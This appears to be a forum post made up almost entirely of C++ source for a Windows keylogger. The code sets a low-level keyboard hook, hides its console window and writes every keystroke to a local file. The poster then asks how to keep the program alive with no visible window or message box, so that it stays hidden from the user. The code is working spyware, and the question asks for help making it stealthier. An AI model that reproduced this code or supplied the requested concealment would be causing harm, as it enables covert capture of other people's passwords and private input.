#define _WIN32_WINNT 0x0500
#include<fstream>
#include<windows.h>
#include<winuser.h>
using namespace std;
void stealth(){
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
}
ofstream out("keys.txt", ios::out);
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
// If key is being pressed
if (wParam == WM_KEYDOWN) {
switch (p->vkCode) {
// Invisible keys
case VK_CAPITAL: out << "<CAPLOCK>"; break;
case VK_SHIFT: out << "<SHIFT>"; break;
case VK_LCONTROL: out << "<LCTRL>"; break;
case VK_RCONTROL: out << "<RCTRL>"; break;
case VK_INSERT: out << "<INSERT>"; break;
case VK_END: out << "<END>"; break;
case VK_PRINT: out << "<PRINT>"; break;
case VK_DELETE: out << "<DEL>"; break;
case VK_BACK: out << "<BK>"; break;
case VK_LEFT: out << "<LEFT>"; break;
case VK_RIGHT: out << "<RIGHT>"; break;
case VK_UP: out << "<UP>"; break;
case VK_DOWN: out << "<DOWN>"; break;
// Visible keys
default:
out << char(tolower(p->vkCode));
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
// Set windows hook
stealth();
HHOOK keyboardHook = SetWindowsHookEx(
WH_KEYBOARD_LL,
keyboardHookProc,
hInstance,
0);
//MessageBox(NULL,"",NULL,NULL);
MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);
out.close();
return 0;
}
i got this code from somewhere and i added stealth function to it to hide the window , but now the problem is message box pops up which spoils the meaning of keylogger . if i remove the messagebox program exits .
is there a way to hold the program without using infinte loops to check for keyboard event (already did but that is consuming 50% cpu) and without something like messagebox that is visible.
Also if there is a way to hide messagebox , that could work.